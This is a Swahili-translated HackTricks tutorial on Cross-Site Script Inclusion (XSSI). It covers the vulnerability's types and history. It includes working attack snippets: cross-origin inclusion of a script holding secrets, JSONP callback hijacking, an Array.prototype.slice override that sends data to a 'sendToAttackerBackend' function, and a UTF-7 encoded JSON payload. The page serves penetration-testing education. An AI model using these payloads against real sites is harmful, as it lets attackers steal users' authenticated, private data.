XSSI (Cross-Site Script Inclusion)
Reading time: 5 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
Basic Information
Cross-Site Script Inclusion (XSSI) ni udhaifu unaotokana na asili ya lebo ya script
katika HTML. Tofauti na rasilimali nyingi, ambazo zinategemea Same-Origin Policy (SOP), scripts zinaweza kujumuishwa kutoka maeneo tofauti. Tabia hii inakusudia kuwezesha matumizi ya maktaba na rasilimali nyingine zinazohifadhiwa kwenye seva tofauti lakini pia inaingiza hatari ya usalama.
Key Characteristics of XSSI:
- Bypass of SOP: Scripts hazijumuishwi katika Same-Origin Policy, zikiruhusiwa kujumuishwa kati ya maeneo.
- Data Exposure: Mshambuliaji anaweza kutumia tabia hii kusoma data iliyopakiwa kupitia lebo ya
script
. - Impact on Dynamic JavaScript/JSONP: XSSI ni muhimu hasa kwa JavaScript ya dynamic au JSON with Padding (JSONP). Teknolojia hizi mara nyingi hutumia taarifa za "ambient-authority" (kama vidakuzi) kwa ajili ya uthibitishaji. Wakati ombi la script linapotolewa kwa mwenyeji tofauti, akreditivu hizi (mfano, vidakuzi) hujumuishwa moja kwa moja katika ombi.
- Authentication Token Leakage: Ikiwa mshambuliaji anaweza kumdanganya kivinjari cha mtumiaji kutafuta script kutoka seva wanayodhibiti, wanaweza kuwa na uwezo wa kupata taarifa nyeti zilizomo katika maombi haya.
Types
- Static JavaScript - Hii inawakilisha aina ya kawaida ya XSSI.
- Static JavaScript with Authentication - Aina hii ni tofauti kwa sababu inahitaji uthibitishaji ili kufikia.
- Dynamic JavaScript - Inahusisha JavaScript inayozalisha maudhui kwa njia ya dynamic.
- Non-JavaScript - Inarejelea udhaifu ambao hauhusishi JavaScript moja kwa moja.
Taarifa ifuatayo ni muhtasari wa https://www.scip.ch/en/?labs.20160414. Angalia kwa maelezo zaidi.
Regular XSSI
Katika mbinu hii, taarifa binafsi zimejumuishwa ndani ya faili ya JavaScript inayopatikana kwa urahisi duniani. Wavamizi wanaweza kubaini faili hizi kwa kutumia mbinu kama kusoma faili, kutafuta maneno, au matumizi ya kawaida ya kawaida. Mara baada ya kupatikana, script inayoshikilia taarifa binafsi inaweza kujumuishwa katika maudhui ya uhalifu, ikiruhusu ufikiaji usioidhinishwa wa data nyeti. Mbinu moja ya unyakuzi inaonyeshwa hapa chini:
<script src="https://www.vulnerable-domain.tld/script.js"></script>
<script>
alert(JSON.stringify(confidential_keys[0]))
</script>
Dynamic-JavaScript-based-XSSI and Authenticated-JavaScript-XSSI
Aina hizi za mashambulizi ya XSSI zinahusisha taarifa za siri kuongezwa kwa njia ya kidinamikia kwenye script kama jibu la ombi la mtumiaji. Ugunduzi unaweza kufanywa kwa kutuma maombi yenye na bila kuki na kulinganisha majibu. Ikiwa taarifa zinatofautiana, inaweza kuashiria uwepo wa taarifa za siri. Mchakato huu unaweza kuandaliwa kwa kutumia zana kama DetectDynamicJS Burp extension.
Ikiwa data za siri zimehifadhiwa katika variable ya kimataifa, zinaweza kutumika kwa kutumia mbinu zinazofanana na zile zinazotumika katika XSSI ya Kawaida. Hata hivyo, ikiwa data za siri zimejumuishwa katika jibu la JSONP, washambuliaji wanaweza kuiba kazi ya callback ili kupata taarifa hizo. Hii inaweza kufanywa kwa kubadilisha vitu vya kimataifa au kuanzisha kazi itakayotekelezwa na jibu la JSONP, kama inavyoonyeshwa hapa chini:
<script>
var angular = function () {
return 1
}
angular.callbacks = function () {
return 1
}
angular.callbacks._7 = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script
src="https://site.tld/p?jsonp=angular.callbacks._7"
type="text/javascript"></script>
<script>
leak = function (leaked) {
alert(JSON.stringify(leaked))
}
</script>
<script src="https://site.tld/p?jsonp=leak" type="text/javascript"></script>
Kwa mabadiliko ya prototype yasiyo katika eneo la jina la kimataifa, prototype tampering inaweza wakati mwingine kutumika. Mbinu hii inatumia muundo wa JavaScript, ambapo tafsiri ya msimbo inahusisha kupita kwenye mnyororo wa prototype ili kupata mali inayoitwa. Kwa kubadilisha kazi fulani, kama vile Array
's slice
, washambuliaji wanaweza kufikia na kuvuja mabadiliko yasiyo ya kimataifa:
Array.prototype.slice = function () {
// leaks ["secret1", "secret2", "secret3"]
sendToAttackerBackend(this)
}
Maelezo zaidi kuhusu njia za shambulio yanaweza kupatikana katika kazi ya Mtafiti wa Usalama Sebastian Lekies, ambaye anashikilia orodha ya vectors.
Non-Script-XSSI
Utafiti wa Takeshi Terada unintroduces aina nyingine ya XSSI, ambapo faili za Non-Script, kama CSV, zinavuja cross-origin kwa kuingizwa kama vyanzo katika tag ya script
. Matukio ya kihistoria ya XSSI, kama shambulio la Jeremiah Grossman la mwaka 2006 kusoma kitabu kamili cha anwani za Google na uvujaji wa data wa JSON wa Joe Walker wa mwaka 2007, yanaonyesha ukali wa vitisho hivi. Zaidi ya hayo, Gareth Heyes anaelezea toleo la shambulio linalohusisha JSON iliy encoded kwa UTF-7 ili kutoroka muundo wa JSON na kutekeleza scripts, ambayo ni madhubuti katika vivinjari fulani:
;[
{
friend: "luke",
email:
"+ACcAfQBdADsAYQBsAGUAcgB0ACgAJwBNAGEAeQAgAHQAaABlACAAZgBvAHIAYwBlACAAYgBlACAAdwBpAHQAaAAgAHkAbwB1ACcAKQA7AFsAewAnAGoAbwBiACcAOgAnAGQAbwBuAGU-",
},
]
<script
src="http://site.tld/json-utf7.json"
type="text/javascript"
charset="UTF-7"></script>
tip
Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za udukuzi kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.